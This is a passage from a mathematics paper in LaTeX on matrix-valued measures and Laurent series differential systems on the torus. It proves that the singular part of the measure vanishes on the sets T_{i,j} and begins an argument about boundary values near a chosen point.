-\tau((i,j)) B_{\gamma}^{(j,i)}+B_{\gamma}^{(i,j) }\tau((i,j)) +\tau((i,j)) B_{\delta}^{(j,i)}+B_{(i,j) \delta}^{(i,j) }\tau( (i,j))\\
\qquad{} =-\tau((i,j)) B_{\gamma}^{(j,i) }+B_{\gamma}^{(i,j) }\tau((i,j)) .
\end{gather*}
For case (ii) and $\beta_{j}=-\gamma_{j}>\beta_{i}=-\gamma_{i}>0$
\begin{gather*}
-\sum_{\ell=1}^{\beta_{j}-\beta_{i}}\widehat{\mu}_{\alpha-\ell (\varepsilon_{i}-\varepsilon_{j}) -\beta}\tau( (i,j)) =-\sum_{\ell=1}^{\beta_{j}-\beta_{i}}\big( B_{\gamma-\ell (\varepsilon_{i}-\varepsilon_{j}) }^{(i,j) }-B_{\gamma-(\ell-1) ( \varepsilon_{i}-\varepsilon_{j}) }^{(i,j) }\big) \tau((i,j)) \\
\hphantom{-\sum_{\ell=1}^{\beta_{j}-\beta_{i}}\widehat{\mu}_{\alpha-\ell (\varepsilon_{i}-\varepsilon_{j}) -\beta}\tau( (i,j))}{}
=\big( {-}B_{\gamma- ( \gamma_{i}-\gamma_{j} ) (\varepsilon_{i}-\varepsilon_{j}) }^{(i,j) }+B_{\gamma}^{(i,j) }\big) \tau((i,j))\\
\hphantom{-\sum_{\ell=1}^{\beta_{j}-\beta_{i}}\widehat{\mu}_{\alpha-\ell (\varepsilon_{i}-\varepsilon_{j}) -\beta}\tau( (i,j))}{}
=\big( {-}B_{(i,j) \gamma}^{(i,j) }+B_{\gamma}^{(i,j) }\big) \tau((i,j))\\
\hphantom{-\sum_{\ell=1}^{\beta_{j}-\beta_{i}}\widehat{\mu}_{\alpha-\ell (\varepsilon_{i}-\varepsilon_{j}) -\beta}\tau( (i,j))}{}
=-\tau((i,j)) B_{\gamma}^{(j,i)}+B_{\gamma}^{(i,j) }\tau((i,j)) .
\end{gather*}
For case (ii) and $\beta_{i}>\beta_{j}=-\gamma_{j}\geq0$ (and $\alpha_{j}=0$)
\begin{gather*}
\sum_{\ell=0}^{\beta_{i}-\beta_{j}-1}\widehat{\mu}_{\alpha-\ell (\varepsilon_{j}-\varepsilon_{i}) -\beta}\tau( (i,j)) =\sum_{\ell=0}^{\beta_{i}-\beta_{j}-1}\big( B_{\gamma-\ell(\varepsilon_{j}-\varepsilon_{i}) }^{(i,j) }-B_{\gamma-(\ell+1)( \varepsilon_{j}-\varepsilon
_{i}) }^{(i,j) }\big) \tau ( (i,j)) \\
\hphantom{\sum_{\ell=0}^{\beta_{i}-\beta_{j}-1}\widehat{\mu}_{\alpha-\ell (\varepsilon_{j}-\varepsilon_{i}) -\beta}\tau( (i,j))}{}
=\big( B_{\gamma}^{(i,j) }-B_{\gamma- ( \gamma_{j}-\gamma_{i}) (\varepsilon_{j}-\varepsilon_{i}) }^{(i,j) }\big) \tau((i,j))\\
\hphantom{\sum_{\ell=0}^{\beta_{i}-\beta_{j}-1}\widehat{\mu}_{\alpha-\ell (\varepsilon_{j}-\varepsilon_{i}) -\beta}\tau( (i,j))}{}
=\big(B_{\gamma}^{(i,j) }-B_{(i,j) \gamma}^{(i,j) }\big) \tau((i,j)) \\
\hphantom{\sum_{\ell=0}^{\beta_{i}-\beta_{j}-1}\widehat{\mu}_{\alpha-\ell (\varepsilon_{j}-\varepsilon_{i}) -\beta}\tau( (i,j))}{}
=-\tau((i,j)) B_{\gamma}^{(j,i)}+B_{\gamma}^{(i,j) }\tau((i,j)) .
\end{gather*}
For case (ii) and $-\beta_{i}=\gamma_{i}<0<\gamma_{j}=\alpha_{j}$ (and $\beta_{j}=0$)
\begin{gather*}
\tau((i,j)) \sum_{\ell=1}^{\alpha_{j}}\widehat{\mu}_{\alpha+\ell( \varepsilon_{i}-\varepsilon_{j})
-\beta}+\sum_{\ell=0}^{\beta_{i}-1}\widehat{\mu}_{\alpha-\ell(\varepsilon_{j}-\varepsilon_{i}) -\beta}\tau( (i,j)) \\
\qquad{} =\tau((i,j)) \sum_{\ell=1}^{\alpha_{j}}\big(B_{\gamma+\ell ( \varepsilon_{i}-\varepsilon_{j} ) }^{(j,i) }-B_{\gamma+(\ell-1) ( \varepsilon
_{i}-\varepsilon_{j}) }^{(j,i) }\big) \\
\qquad\quad{} +\sum_{\ell=0}^{\beta_{i}-1}\big( B_{\gamma-\ell ( \varepsilon_{j}-\varepsilon_{i}) }^{(i,j) }-B_{\gamma-(\ell+1) (\varepsilon_{j}-\varepsilon_{i}) }^{(i,j) }\big) \tau((i,j)) \\
\qquad{} =\tau((i,j)) \big( B_{\gamma+\gamma_{j}( \varepsilon_{i}-\varepsilon_{j}) }^{(j,i)}-B_{\gamma}^{(j,i) }\big) +\big( B_{\gamma}^{(i,j)}-B_{\gamma+\gamma_{i}( \varepsilon_{j}-\varepsilon_{i}) }^{(i,j) }\big) \tau ( (i,j)) \\
\qquad{} =-\tau((i,j)) B_{\gamma}^{(j,i) }+B_{\gamma}^{(i,j) }\tau((i,j)) ,
\end{gather*}
because $(i,j) ( \gamma+\gamma_{j}( \varepsilon_{i}-\varepsilon_{j}) ) =\gamma+\gamma_{i}( \varepsilon_{j}-\varepsilon_{i}) $. In the trivial case $\gamma_{i}=\gamma_{j}$ so that $(i,j) \gamma=\gamma$ where are no nonzero $\tau ((i,j)) $ terms the equation $-\tau( (i,j)) B_{\gamma}^{(j,i) }-B_{\gamma}^{(
i,j) }\tau((i,j)) =0$ applies. Thus in each case and for each $j\neq i$ the right hand side contains the expression $-\kappa\big( \tau((i,j)) B_{\gamma}^{(
j,i) }-B_{\gamma}^{(i,j) }\tau( (i,j)) \big)$.
\end{proof}
In the following there is no implied claim about convergence, because any term $x^{\alpha}$ appears only a f\/inite number of times in the equation.
\begin{Theorem}
For $1\leq i\leq N$ the formal Laurent series $F(x) :=\sum\limits_{\alpha\in\boldsymbol{Z}_{N}}\widehat{\mu}_{\alpha}x^{\alpha}$ satisfies the equation
\begin{gather}
p_{i}(x) x_{i}\partial_{i}F(x) =\kappa\sum_{j\neq i}\prod\limits_{\ell\neq i,j}(x_{i}-x_{\ell}) \{ x_{j}\tau((i,j)) F(x) +F(x) \tau((i,j)) x_{i}\}
.\label{diffKLs}
\end{gather}
\end{Theorem}
\begin{proof}
Start with multiplying equation (\ref{Btomu}) by $x_{i}^{1-N}p_{i}(x) x^{\gamma}$ and sum over $\gamma\in\boldsymbol{Z}_{N}$ to obtain
\begin{gather*}
\prod\limits_{j=1,\, j\neq i}^{N}\left( 1-\frac{x_{j}}{x_{i}}\right)\sum_{\gamma\in\boldsymbol{Z}_{N}}\gamma_{i}\widehat{\mu}_{\gamma}x^{\gamma}
=\kappa\sum_{j\neq i}\prod\limits_{k\neq i,j}\left( 1-\frac{x_{k}}{x_{i}}\right) \left( 1-\frac{x_{j}}{x_{i}}\right) \\
\hphantom{\prod\limits_{j=1,j\neq i}^{N}\left( 1-\frac{x_{j}}{x_{i}}\right)\sum_{\gamma\in\boldsymbol{Z}_{N}}\gamma_{i}\widehat{\mu}_{\gamma}x^{\gamma}}{}
\times\left\{ -\tau((i,j)) \sum_{\gamma\in\boldsymbol{Z}_{N}}B_{\gamma}^{(j,i) }x^{\gamma}+\sum_{\gamma\in\boldsymbol{Z}_{N}}B_{\gamma}^{(i,j) }x^{\gamma}%
\tau((i,j)) \right\} .
\end{gather*}
By construction
\begin{gather*}
\left( 1-\frac{x_{j}}{x_{i}}\right) \sum_{\gamma\in\boldsymbol{Z}_{N}}B_{\gamma}^{(i,j) }x^{\gamma}=\sum_{\gamma\in\boldsymbol{Z}_{N}}\big( B_{\gamma}^{(i,j) }-B_{\gamma+\varepsilon_{i}-\varepsilon_{j}}^{(i,j) }\big) x^{\gamma}=\sum_{\gamma\in\boldsymbol{Z}_{N}}\widehat{\mu}_{\gamma}x^{\gamma}
\end{gather*}
and
\begin{gather*}
\left( 1-\frac{x_{j}}{x_{i}}\right) \sum_{\gamma\in\boldsymbol{Z}_{N}}B_{\gamma}^{(j,i) }x^{\gamma}=-\frac{x_{j}}{x_{i}}\left(1-\frac{x_{i}}{x_{j}}\right) \sum_{\gamma\in\boldsymbol{Z}_{N}}B_{\gamma}^{(j,i) }x^{\gamma}=-\frac{x_{j}}{x_{i}}\sum_{\gamma\in\boldsymbol{Z}_{N}}\widehat{\mu}_{\gamma}x^{\gamma}.
\end{gather*}
Thus the equation becomes
\begin{gather*}
\prod\limits_{j=1,\, j\neq i}^{N}\left( 1-\frac{x_{j}}{x_{i}}\right)
\sum_{\gamma\in\boldsymbol{Z}_{N}}\gamma_{i}\widehat{\mu}_{\gamma}x^{\gamma}\\
\qquad{} =\kappa\sum_{j\neq i}\prod\limits_{k\neq i,j}\left( 1-\frac{x_{k}}{x_{i}}\right) \left\{ \frac{x_{j}}{x_{i}}\tau((i,j))
\sum_{\gamma\in\boldsymbol{Z}_{N}}\widehat{\mu}_{\gamma}x^{\gamma}+\sum_{\gamma\in\boldsymbol{Z}_{N}}\widehat{\mu}_{\gamma}x^{\gamma}\tau((i,j))\right\} .
\end{gather*}
This completes the proof.
\end{proof}
\begin{Corollary}
The coefficients $\{ \widehat{\mu}_{\alpha}\} $ satisfy the same recurrences as $\big\{ \widehat{K}_{\alpha}\big\}$ in~\eqref{FCrec}.
\end{Corollary}
\subsection{Maximal singular support}
Above we showed that $\mu$ and $K$ satisfy the same Laurent series dif\/ferential systems~(\ref{Kdiffeq1}) and~(\ref{diffKLs}), thus the singular part $\mu_{S}$ also satisf\/ies this relation. The singular part $\mu_{S}$ is the restriction of $\mu$ to $\bigcup\limits_{i<j}\big\{ x\in\mathbb{T}^{N} \colon x_{i}=x_{j}\big\} $, a closed set. For each pair $ \{k,\ell\} $ let $E_{k\ell}=\big\{ x\in\mathbb{T}^{N}\colon x_{k}\neq x_{\ell}\big\} $, an open subset of $\mathbb{T}^{N}$. For $i\neq j$ let
\begin{gather*}
T_{i,j}=\big\{ x\in\mathbb{T}^{N}\colon x_{i}=x_{j}\big\} \cap\bigcap \limits_{\{ k,\ell \} \cap\{i,j\} =\varnothing} \{ E_{k\ell}\cap E_{ik}\cap E_{jk}\};
\end{gather*}
this is an intersection of a closed set and an open set, hence $T_{i,j}$ is a~Baire set and the restriction~$\mu_{i,j}$ of $\mu$ to $T_{i,j}$ is a Baire
measure. Informally $T_{i,j}=\big\{ x\in\mathbb{T}^{N}\colon x_{i}=x_{j},\# \{ x_{k} \} =N-1\big\}$. We will prove that $\mu_{i,j}=0$ for all $i\neq j$. That is, $\mu_{S}$ is supported by $\big\{ x\in \mathbb{T}^{N}\colon \# \{ x_{k} \} \leq N-2\big\} $ (the number of distinct coordinate values is $\leq N-2$). In \cite[Corollary~4.15]{Dunkl2016} there is an approximate identity
\begin{gather*}
\sigma_{n}^{N-1}(x) :=\sum_{k=0}^{n}\frac{(-n) _{k}}{( 1-n-N) _{k}}\sum_{\alpha\in\boldsymbol{Z}_{N},\, \vert \alpha \vert =2k}x^{\alpha},
\end{gather*}
which satisf\/ies $\sigma_{n}^{N-1}(x) \geq0$ and $\sigma _{n}^{N-1}\ast\nu\rightarrow\nu$ as $n\rightarrow\infty$, in the weak-$\ast$ sense for any f\/inite Baire measure $\nu$ on $\mathbb{T}^{N}/\mathbb{D}$ (referring to functions and measures on $\mathbb{T}^{N}$ homogeneous of degree zero as Laurent series). The set $T_{i,j}$ is pointwise invariant under $(i,j)$ thus $\mathrm{d}\mu_{i,j}(x)=\mathrm{d}\mu_{i,j}(x(i,j))=\tau ((i,j)) \mathrm{d}\mu_{i,j}(x)\tau((i,j))$.
\begin{Remark}
The density of Laurent polynomials in $C^{(1) }\big(\mathbb{T}^{N}\big) $ can be shown by using an approximate identity, for example: $u_{n}(x) =\Big\{ \frac{1}{n+1}\sum\limits_{j=-n}^{n}( n- \vert j \vert +1) x_{1}^{j}\Big\} \sigma _{n}^{N-1}(x) $; for any $\alpha\in\mathbb{Z}^{N}$ the coef\/f\/icient of $x^{\alpha}$ in $u_{n}(x) $ tends to $1$ as $n\rightarrow\infty$ (express $\alpha=(\alpha_{1}-m) \varepsilon_{1}+( -m,\alpha_{2},\ldots,\alpha_{N}) $ where
$m=\sum\limits_{j=2}^{N}\alpha_{j}$). Then $f\ast u_{n}\rightarrow f$ in the $C^{(1) }\big( \mathbb{T}^{N}\big) $ norm.
\end{Remark}
Let $K_{n}^{s}=\sigma_{n}^{N-1}\ast\mu_{S}$ (convolution), a Laurent polynomial, f\/ix $\ell$ in $1\leq\ell\leq N$, and consider the functionals $F_{\ell,n}$, $G_{\ell,n}$ on scalar functions $p\in C^{(1)}\big( \mathbb{T}^{N}\big) $
\begin{gather*}
F_{\ell,n}(p) :=\int_{\mathbb{T}^{N}}p(x)
\prod\limits_{j\neq\ell}\left( 1-\frac{x_{j}}{x_{\ell}}\right) x_{\ell}\partial_{\ell}K_{n}^{s}(x) \mathrm{d}m(x), \\
G_{\ell,n}(p) :=\kappa\sum_{i\neq\ell}\int_{\mathbb{T}^{N}}p(x) \prod\limits_{j\neq\ell,i}\left( 1-\frac{x_{j}}{x_{\ell}}\right) \left\{ \frac{x_{i}}{x_{\ell}}\tau\left( \ell,i\right) K_{n}^{s}(x) +K_{n}^{s}(x) \tau( \ell,i)\right\} \mathrm{d}m(x) .
\end{gather*}
By construction the functionals annihilate $x^{\alpha}$ for $\alpha\notin\mathbf{Z}_{N}$. For a f\/ixed $\alpha\in\mathbf{Z}_{N}$ the value $F_{\ell,n}( x^{-\alpha}) -G_{\ell,n}( x^{-\alpha})$ is
\begin{gather*}
\alpha_{\ell}A_{\alpha}b_{n}(\alpha) +\sum_{i=1}^{N-1} (-1) ^{i}\sum_{J\subset E_{\ell},\, \#J=i}( \alpha_{\ell}+i)A_{\alpha+i\varepsilon_{\ell}-\varepsilon_{J}}b_{n}( \alpha+i\varepsilon_{\ell}-\varepsilon_{J}) \\
-\kappa\sum_{j=1,\, j\neq\ell}^{N}\sum_{i=0}^{N-2}(-1) ^{\ell}\sum_{J\subset E_{\ell,j},\, \#J=i}\left\{
\begin{matrix}
\tau(\ell,j) A_{\alpha+(i+1) \varepsilon_{\ell
}-\varepsilon_{j}-\varepsilon_{J}}b_{n}( \alpha+(i+1)
\varepsilon_{\ell}-\varepsilon_{j}-\varepsilon_{J}) \\
{} +A_{\alpha+i\varepsilon_{\ell}-\varepsilon_{J}}\tau(\ell,j)
b_{n}( \alpha+i\varepsilon_{\ell}-\varepsilon_{J})
\end{matrix}
\right\},
\end{gather*}
where $b_{n}(\gamma) :=\frac{(-n) _{\vert \gamma\vert /2}}{(1-N-n) _{\vert \gamma\vert/2}}$ (from the Laurent series of $\sigma_{n}^{N-1})$, and $A_{\gamma}:=\int_{\mathbb{T}^{N}}x^{-\gamma}\mathrm{d}\mu_{S}$ . Thus for f\/ixed $\alpha$ the coef\/f\/icients $b_{n}(\cdot) \rightarrow1$ as $n\rightarrow
\infty$ and the expression tends to the dif\/ferential system~\ref{Kdiffeq1} and%
\begin{gather*}
\lim_{n\rightarrow\infty}\big( F_{\ell,n} ( x^{-\alpha} )-G_{\ell,n}( x^{-\alpha}) \big) =0.
\end{gather*}
This result extends to any Laurent polynomial by linearity. From the approximate identity property
\begin{gather*}
\lim_{n\rightarrow\infty}G_{\ell,n}(p) =\kappa\sum_{i\neq\ell
}\int_{\mathbb{T}^{N}}p(x) \prod\limits_{j\neq\ell,i}\left(1-\frac{x_{j}}{x_{\ell}}\right) \left\{ \frac{x_{i}}{x_{\ell}}\tau (\ell,i) \mathrm{d}\mu_{S}(x) +\mathrm{d}\mu_{S}(x) \tau( \ell,i) \right\} ,
\end{gather*}
and
\begin{gather*}
\Vert G_{\ell,n}(p)\Vert \leq M\sup_{x,\, i}\left\vert p(x) \prod\limits_{j\neq\ell,i}\left( 1-\frac{x_{j}}{x_{\ell}}\right) \right\vert ,
\end{gather*}
where $M$ depends on $\mu_{S}$. Also
\begin{gather*}
F_{\ell,n}(p) =-\int_{\mathbb{T}^{N}}x_{\ell}\partial_{\ell}\left\{ p(x) \prod\limits_{j\neq\ell}\left( 1-\frac{x_{j}}{x_{\ell}}\right) \right\} K_{n}(x) \mathrm{d}m(x) ,
\end{gather*}
and
\begin{gather*}
\lim_{n\rightarrow\infty}F_{\ell,n}(p) =-\int_{\mathbb{T}^{N}}x_{\ell}\partial_{\ell}\left\{ p(x) \prod\limits_{j\neq\ell
}\left( 1-\frac{x_{j}}{x_{\ell}}\right) \right\} \mathrm{d}\mu_{S}(x)
\end{gather*}
for Laurent polynomials $p$. By density of Laurent polynomials in $C^{(1) }\big( \mathbb{T}^{N}\!/\mathbb{D}\big) $ ($\mathbb{D}\! =\!\{( u,u,\ldots,u) \colon\!$ $\vert u\vert =1 \} $ thus functions homogeneous of degree zero on~$\mathbb{T}^{N}$ can be considered as functions on the quotient group $\mathbb{T}^{N}/\mathbb{D}$) we obtain
\begin{gather}
-\int_{\mathbb{T}^{N}}x_{\ell}\partial_{\ell}\left\{ p(x)\prod\limits_{j\neq\ell}\left( 1-\frac{x_{j}}{x_{\ell}}\right) \right\}\mathrm{d}\mu_{S}(x)\nonumber\\
\qquad{} =\kappa\sum_{i\neq\ell}\int_{\mathbb{T}^{N}}p(x) \prod\limits_{j\neq\ell,i}\left( 1-\frac{x_{j}}{x_{\ell}}\right) \left\{
\frac{x_{i}}{x_{\ell}}\tau\left( \ell,i\right) \mathrm{d}\mu_{S}(x) +\mathrm{d}\mu_{S}(x) \tau( \ell,i)\right\} ,\label{Tijformula}
\end{gather}
for all $p\in C^{(1) }\big( \mathbb{T}^{N}/\mathbb{D}\big)$.
\begin{Theorem}
For $1\leq i<j\leq N$ the restriction $\mu_{S}|T_{i,j}=0$.
\end{Theorem}
\begin{proof} It suf\/f\/ices to take $i=1,j=2$. Let $E$ be an open neighborhood of a point in $T_{1,2}$ such that if $x\in\overline{E}$ (the closure) and $x_{i}=x_{j}$ for some pair $i<j$ then $i=1$ and $j=2$. Let $f(x) \in C^{(1) }\big( \mathbb{T}^{N}/\mathbb{D}\big) $ have support $\subset E$. Thus $f(x) =0=\partial_{1}f(x) $ at each point~$x$ such that $x_{i}=x_{j}$ for some pair $\{i,j\} \neq \{1,2\} $ ($f=0$ on a neighborhood of $\bigcup\limits_{i<j}\{
x\colon x_{i}=x_{j} \} \backslash T_{1,2}$). Then in formula~(\ref{Tijformula}) (with $\ell=1$) applied to $f$ the measure~$\mu_{S}$ can be replaced with~$\mu_{1,2}$. Evaluate the derivative
\begin{gather*}
x_{1}\partial_{1}\left\{ f(x) \prod\limits_{j\neq1}\left(
1-\frac{x_{j}}{x_{1}}\right) \right\} =\left( 1-\frac{x_{2}}{x_{1}}\right) f(x) x_{1}\partial_{1}\left\{ \prod\limits_{j>2}
\left( 1-\frac{x_{j}}{x_{1}}\right) \right\} \\
\qquad{} +f(x) \frac{x_{2}}{x_{1}}\prod\limits_{j>2}\left( 1-\frac
{x_{j}}{x_{1}}\right) +\left( x_{1}\partial_{1}f(x) \right) \left( 1-\frac{x_{2}}{x_{1}}\right) \prod\limits_{j>2}\left(
1-\frac{x_{j}}{x_{1}}\right) .
\end{gather*}
Each term vanishes on $\bigcup\limits_{i<j}\{x\colon x_{i}=x_{j}\} \backslash T_{1,2}$, and restricted to $T_{1,2}$ the value is $f(x) \prod\limits_{j>2}\big( 1-\frac{x_{j}}{x_{1}}\big) $. Thus
\begin{gather*}
-\int_{\mathbb{T}^{N}}x_{1}\partial_{1}\left\{ f(x)
\prod\limits_{j\neq1}\left( 1-\frac{x_{j}}{x_{1}}\right) \right\} \mathrm{d}\mu_{S}(x) =-\int_{\mathbb{T}^{N}}x_{1}
\partial_{1}\left\{ f(x) \prod\limits_{j\neq1}\left(1-\frac{x_{j}}{x_{1}}\right) \right\} \mathrm{d}\mu_{1,2}(x)
\\
\hphantom{-\int_{\mathbb{T}^{N}}x_{1}\partial_{1}\left\{ f(x)
\prod\limits_{j\neq1}\left( 1-\frac{x_{j}}{x_{1}}\right) \right\} \mathrm{d}\mu_{S}(x)}{}
=-\int_{\mathbb{T}^{N}}f(x) \prod\limits_{j>2}\left(1-\frac{x_{j}}{x_{1}}\right) \mathrm{d}\mu_{1,2}(x).
\end{gather*}
The right hand side of the formula reduces to
\begin{align*}
\kappa\int_{\mathbb{T}^{N}}f(x) \prod\limits_{j>2}\left(1-\frac{x_{j}}{x_{1}}\right) \left\{ \frac{x_{2}}{x_{1}}\tau (1,2) \mathrm{d}\mu_{1,2}(x) +\mathrm{d}\mu_{1,2} (x) \tau(1,2) \right\} \\
\qquad {} =2\kappa\tau(1,2) \int_{\mathbb{T}^{N}}f(x) \prod\limits_{j>2}\left( 1-\frac{x_{j}}{x_{1}}\right) \mathrm{d}\mu_{1,2}(x) ,
\end{align*}
since $\mathrm{d}\mu_{1,2}(x) \tau(1,2) =\tau(1,2) \mathrm{d}\mu_{1,2}(x) $. Thus the integral is a matrix $F(f) $ such that
\begin{gather*}
( I+2\kappa \tau(1,2)) F(f) =0,
\end{gather*} which implies $F(f) =0$ provided $\kappa\neq\pm\frac{1}{2}$. Replacing $f(x) $ by $f(x) \prod\limits_{j>2}\big(1-\frac{x_{j}}{x_{1}}\big) ^{-1}$ shows that $\mu_{1,2}=0$, since $E$ was arbitrarily chosen.
\end{proof}
\subsection{Boundary values for the measure}
In this subsection we will show that $K$ satisf\/ies the weak continuity condition
\begin{gather*}
\lim\limits_{x_{N-1}-x_{N}\rightarrow0} ( K(x)-K(x(N-1,N))) =0
\end{gather*}
at the faces of~$\mathcal{C}_{0}$ and then deduce that $H_{1}$ commutes with~$\sigma$ (as described in Theorem~\ref{suffctH}). The idea is to use the inner product property of $\mu$ on functions supported in a small enough neighborhood of $x^{(0)}=\big(1,\omega,\ldots,\omega^{N-3},\omega^{-3/2},\omega^{-3/2}\big)$ where~$\mu_{S}$ vanishes, so that only~$K$ is involved, then argue that a~failure of the continuity condition leads to a contradiction.
Let $0<\delta\leq\frac{2\pi}{3N}$ and def\/ine the boxes
\begin{gather*}
\Omega_{\delta} =\big\{ x\in\mathbb{T}^{N}\colon \big\vert x_{j} -x_{j}^{(0) }\big\vert \leq2\sin\tfrac{\delta}{2},\, 1\leq j\leq
N\big\} ,\\
\Omega_{\delta}^{\prime} =\big\{ x\in\mathbb{T}^{N-1}\colon \big\vert x_{j}-x_{j}^{(0) }\big\vert \leq2\sin\tfrac{\delta}{2},\, 1\leq
j\leq N-1\big\}
\end{gather*}
(so if $x_{j}=e^{\mathrm{i\theta}_{j}}$ then $\big\vert \theta_{j}-\frac{2\pi(j-1) }{N}\big\vert \leq\delta$, for $1\leq j\leq N-2$ and $\big\vert \theta_{j}-\frac{( 2N-3) \pi}{2}\big\vert $ for $N-1\leq j\leq N$). Then $x\in\Omega_{\delta}$ implies $ \vert x_{i}-x_{j} \vert \geq2\sin\frac{\delta}{2}$ for $1\leq i<j\leq N$ except for $i=N-1$, $j=N$ (that is, $ \vert \theta_{i}-\theta_{j} \vert \geq\delta $). Further $\Omega_{\delta}$ is invariant under $(N-1,N)$, while $\Omega_{\delta}\cap\Omega_{\delta}(i,N) =\varnothing$ for $1\leq i\leq N-2$. For brevity set $\phi_{0}=\frac{(2N-3) \pi
}{2}$, $e^{\mathrm{i\phi}_{0}}=\omega^{-3/2}$. We consider the identity
\begin{gather*}
\int_{\mathbb{T}^{N}} ( x_{N}\mathcal{D}_{N}f(x)) ^{\ast}\mathrm{d}\mu(x) g(x) -\int_{\mathbb{T}^{N}}f(x) ^{\ast}\mathrm{d}\mu(x) x_{N}\mathcal{D}_{N}g(x) =0
\end{gather*}
for $f,g\in C^{(1) }\big( \mathbb{T}^{N};V_{\tau}\big) $ whose support is contained in $\Omega_{\delta}$. Then $\operatorname{spt}((x_{N}\mathcal{D}_{N}f(x) ) ^{\ast}g(x)) \subset\Omega_{\delta}$ and $\operatorname{spt}( f(x) ^{\ast}x_{N}\mathcal{D}_{N}g(x)) \subset \Omega_{\delta}$.
The support hypothesis and the construction of $\Omega_{\delta}$ imply that $\Omega_{\delta}\cap\big( \mathbb{T}^{N}\backslash\mathbb{T}_{\rm reg}^{N}\big) \subset T_{N-1,N}$ and thus $\mathrm{d}\mu$ can be replaced by $K(x) \mathrm{d}m(x) $ in the formula. Recall the general identity~(\ref{dfKg})
\begin{gather*}
-( x_{N}\mathcal{D}_{N}f(x)) ^{\ast}K(x) g(x) +f(x) ^{\ast}K(x)x_{N}\mathcal{D}_{N}g(x) \\
\qquad{} =x_{N}\partial_{N} \{ f(x) ^{\ast}K(x)g(x) \} -\kappa\sum_{1\leq j\leq N-1}\frac{1}{x_{N}-x_{j}}\big\{ x_{j}f(x(j,N)) ^{\ast}\tau((j,N))
K(x) g(x) \\
\qquad\quad{} +x_{N}f(x) ^{\ast}K(x) \tau((j,N)) g( x( j,N)) \big\} .
\end{gather*}
Specialize to $\operatorname{spt}(f) \subset\Omega_{\delta}$ and $\operatorname{spt}(g) \subset\Omega_{\delta}$ and $x\in\Omega_{\delta}$ then only the $j=N-1$ term in the sum remains, and this term changes sign under $x\mapsto x(N-1,N) $.
For $\varepsilon>0$ let $\Omega_{\delta,\varepsilon}=\big\{ x\in \Omega_{\delta}\colon \vert x_{N-1}-x_{N} \vert \geq2\sin\frac {\varepsilon}{2}\big\} $, then
\begin{gather*}
\int_{\Omega_{\delta,\varepsilon}}\big\{ x_{N}\partial_{N} ( f (x ) ^{\ast}K(x) g(x) ) \\
\qquad{} + (x_{N}\mathcal{D}_{N}f(x) ) ^{\ast}K(x)g(x) -f(x) ^{\ast}K(x) x_{N}\mathcal{D}_{N}g(x) \big\} \mathrm{d}m(x)=0,
\end{gather*}
because $\Omega_{\delta,\varepsilon}$ is $(N-1,N) $-invariant (similar argument to Proposition~\ref{xdfKg-fKxdg}). By integrability
\begin{gather*}
\lim_{\varepsilon\rightarrow0_{+}}\int_{\Omega_{\delta,\varepsilon}}\big\{ ( x_{N}\mathcal{D}_{N}f(x) ) ^{\ast}K(x) g(x) -f(x) ^{\ast}K(x)
x_{N}\mathcal{D}_{N}g(x) \mathrm{d}m(x) \big\} =0,
\end{gather*}
hence
\begin{gather*}
\lim_{\varepsilon\rightarrow0_{+}}\int_{\Omega_{\delta,\varepsilon}}x_{N}\partial_{N} ( f(x) ^{\ast}K(x) g (x )) \mathrm{d}m(x) =0.
\end{gather*}
Now we use iterated integration. For f\/ixed $\theta_{N-1}$ the ranges for $\theta_{N}$ are obtained by inserting suitable gaps into the interval
$ [ \phi_{0}-\delta,\phi_{0}+\delta ] $ (as usual, $x=\big(e^{\mathrm{i}\theta_{1}},\ldots,e^{\mathrm{i}\theta_{N}}\big) $):
\begin{enumerate}\itemsep=0pt
\item[1)] $\phi_{0}-\delta\leq\theta_{N-1}\leq\phi_{0}-\delta+\varepsilon \colon [\theta_{N-1}+\varepsilon,\phi_{0}+\delta] $,
\item[2)] $\phi_{0}-\delta+\varepsilon\leq\theta_{N-1}\leq\phi_{0}+\delta-\varepsilon\colon [ \phi_{0}-\delta,\theta_{N-1}-\varepsilon ]\cup [ \theta_{N-1}+\varepsilon,\phi_{0}+\delta ] $,
\item[3)] $\phi_{0}+\delta-\varepsilon\leq\theta_{N-1}\leq\phi_{0}+\delta\colon [\phi_{0}-\delta,\theta_{N-1}-\varepsilon]$.
\end{enumerate}
From $x_{N}\partial_{N}=-\mathrm{i}\frac{\partial}{\partial\theta_{N}}$ it follows that
\begin{gather*}
\frac{1}{2\pi}\int_{a}^{b}x_{N}\partial_{N}(f^{\ast}Kg)
\big( \big( e^{\mathrm{i}\theta_{1}},\ldots,e^{\mathrm{i}\theta_{N}}\big) \big) \mathrm{d}\theta_{N}\\
\qquad{} =\frac{1}{2\pi\mathrm{i}}\big\{ (f^{\ast}Kg) \big( \big( e^{\mathrm{i}\theta_{1}},\ldots,e^{\mathrm{i}\theta_{N-1}},e^{\mathrm{i}b}\big)\big) -(f^{\ast}Kg) \big( \big(e^{\mathrm{i}\theta_{1}},\ldots,e^{\mathrm{i}\theta_{N-1}},e^{\mathrm{i}a}\big) \big) \big\} .
\end{gather*}
Since $f$ and $g$ are at our disposal we can take their supports contained in $\Omega_{\delta/2}$ then for $0<\varepsilon\leq\frac{\delta}{4}$ the
$\mathrm{d}\theta_{N}$-integrals for~(1) and~(3) vanish and the integrals in~(2) have the value
\begin{gather*}
\frac{1}{2\pi\mathrm{i}}\big\{ (f^{\ast}Kg) \big( \big(e^{\mathrm{i}\theta_{1}},\ldots,e^{\mathrm{i}\theta_{N-1}},e^{\mathrm{i} ( \theta_{N-1}-\varepsilon) }\big) \big) - ( f^{\ast}Kg ) \big( \big( e^{\mathrm{i}\theta_{1}},\ldots,e^{\mathrm{i}\theta_{N-1}},e^{\mathrm{i}( \theta_{N-1}+\varepsilon ) }\big)
\big) \big\} .
\end{gather*}
We use the power series (from (\ref{Lzseries}))
\begin{gather*}
L_{1}(x(u,z)) =\left( \big( u^{2}-z^{2}\big) \prod_{j=1}^{N-2}x_{j}\right) ^{-\gamma\kappa}\rho\big(z^{-\kappa},z^{\kappa}\big) \sum_{n=0}^{\infty}\alpha_{n} ( x (u,0 ) ) z^{n},
\end{gather*}
with the notation $x(u,z) = ( x_{1},\ldots,x_{N-2},u-z,u+z ) $ for $x\in\Omega_{\delta}$. Recall $\alpha_{n} (x(u,0)) $ is analytic for a~region including
